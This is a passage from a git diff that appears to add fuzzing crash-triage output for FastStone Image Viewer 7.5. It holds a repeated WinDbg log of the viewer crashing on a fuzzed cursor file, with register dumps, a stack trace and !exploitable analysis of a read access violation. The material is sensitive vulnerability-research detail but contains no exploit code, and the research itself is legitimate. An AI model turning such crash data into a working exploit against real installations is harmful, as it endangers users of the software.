Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65850/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..e8e310a --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65850/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1804: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1804: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1804.1408): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07ef7b10 edx=00003879 esi=ffdd0010 edi=0fce4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.746676551307510880000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.272713000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.00392e-013 -8.09824e-009 -2.67314e+027 -1.79578e+026 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fd8130 07f55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003c3000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003c3000 95f40f73 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003c3000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65850/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65850/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..e8e310a --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65850/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1804: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1804: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1804.1408): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07ef7b10 edx=00003879 esi=ffdd0010 edi=0fce4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.746676551307510880000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.272713000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.00392e-013 -8.09824e-009 -2.67314e+027 -1.79578e+026 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fd8130 07f55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003c3000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003c3000 95f40f73 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003c3000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65850/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65850/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..422adca Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65850/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/66952/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/66952/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ 